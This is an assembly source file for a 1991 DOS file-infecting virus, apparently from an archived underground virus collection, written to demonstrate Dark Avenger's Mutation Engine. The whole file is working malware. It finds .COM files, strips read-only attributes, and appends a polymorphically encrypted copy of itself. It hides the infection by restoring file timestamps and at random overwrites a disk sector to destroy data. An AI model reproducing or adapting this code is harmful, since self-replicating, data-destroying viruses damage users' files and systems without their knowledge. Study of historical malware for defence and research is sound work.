Underground/Underground CD1.iso/virii/zrodla/d/demovir.asm

Assembly Source File | 1998-01-14 | 3.4 KB | 195 lines

; This is a demo virus to demonstrate
;   the Mutation Engine <tm> usage

; Version 1.01 (26-10-91)
; (C) 1991 Dark Avenger.

    .model    tiny
    .radix    16
    .code

    extrn    mut_engine: near, rnd_get: near, rnd_init: near
    extrn    rnd_buf: word, data_top: near

    org    100

start:
    call    locadr
reladr:
    db    'We dedicate this little virus to Sara Gordon'
    db    ' who wanted to have a virus named after her.'
locadr:
    pop    dx
    mov    cl,4
    shr    dx,cl
    sub    dx,10
    mov    cx,ds
    add    cx,dx            ;Calculate new CS
    mov    dx,offset begin
    push    cx dx
    retf
begin:
    cld
    mov    di,offset start
    push    es di
    push    cs
    pop    ds
    mov    si,offset old_cod
    movsb                ;Restore first 3 bytes
    movsw
    push    ax
    mov    dx,offset dta_buf    ;Set DTA
    mov    ah,1a
    int    21
    mov    ax,3524         ;Hook INT 24
    int    21
    push    es bx
    mov    dx,offset fail_err
    mov    ax,2524
    int    21
    xor    ax,ax            ;Initialize random seed
    mov    [rnd_buf],ax
    call    rnd_init
    push    sp
    pop    cx
    sub    cx,sp
    add    cx,4
    push    cx
    mov    dx,offset srchnam
    mov    cl,3
    mov    ah,4e
find_lup:
    int    21            ;Find the next COM file
    jc    infect_done
    cmp    [dta_buf+1a],ch
    jnz    infect            ;If not infected, infect it now
    pop    cx
find_nxt:
    push    cx
    mov    dx,offset dta_buf
    mov    ah,4f
    jmp    find_lup
infect_done:
    pop    cx
    loop    find_nxt
    jnc    damage_done
    call    rnd_get
    test    al,1
    jz    damage_done
    xchg    ax,dx            ;Trash a random sector on the default
    mov    ah,19            ;  drive
    int    21
    mov    cx,1
    mov    bx,offset start
    int    26
    popf
damage_done:
    pop    dx ds
    mov    ax,2524         ;Restore INT 24
    int    21
    push    ss
    pop    ds
    mov    dx,80            ;Restore DTA
    mov    ah,1a
    int    21
    push    ds            ;Exit to program
    pop    es
    pop    ax
    retf
infect:
    xor    cx,cx            ;Reset read-only attribute
    mov    dx,offset dta_buf+1e
    mov    ax,4301
    int    21
    jc    infect_done
    mov    ax,3d02         ;Open the file
    int    21
    jc    infect_done
    xchg    ax,bx
    mov    dx,offset old_cod    ;Read first 3 bytes
    mov    cx,3
    mov    ah,3f
    int    21
    jc    read_done
    mov    ax,word ptr [old_cod]    ;Make sure it's not an EXE file
    cmp    ax,'ZM'
    jz    read_done
    cmp    ax,'MZ'
    jz    read_done
    xor    cx,cx            ;Seek at EOF
    xor    dx,dx
    mov    ax,4202
    int    21
    test    dx,dx            ;Make sure the file is not too big
    jnz    read_done
    cmp    ax,-2000
    jnc    read_done
    mov    bp,ax
    sub    ax,3
    mov    word ptr [new_cod+1],ax
    mov    ax,5700         ;Save file's date/time
    int    21
    push    dx cx
    mov    ax,offset data_top+0f
    mov    cl,4            ;Now call the Engine
    shr    ax,cl
    mov    cx,cs
    add    ax,cx
    mov    es,ax
    mov    dx,offset start
    mov    cx,offset _DATA
    push    bp bx
    add    bp,dx
    xor    si,si
    xor    di,di
    mov    bl,0f
    mov    ax,101
    call    mut_engine
    pop    bx ax
    add    ax,cx            ;Make sure file length mod 256 = 0
    neg    ax
    xor    ah,ah
    add    cx,ax
    mov    ah,40            ;Put the virus into the file
    int    21
    push    cs
    pop    ds
    jc    write_done
    sub    cx,ax
    jnz    write_done
    xor    dx,dx            ;Put the JMP instruction
    mov    ax,4200
    int    21
    mov    dx,offset new_cod
    mov    cx,3
    mov    ah,40
    int    21
write_done:
    pop    cx dx            ;Restore file's date/time
    mov    ax,5701
    int    21
read_done:
    mov    ah,3e            ;Close the file
    int    21
    jmp    infect_done

fail_err:                ;Critical errors handler
    mov    al,3
    iret

srchnam db    '*.COM',0

old_cod:                ;Buffer to read first 3 bytes
    ret
    dw    ?

new_cod:                ;Buffer to write first 3 bytes
    jmp    $+100

    .data

dta_buf db    2bh dup(?)        ;Buffer for DTA

    end    start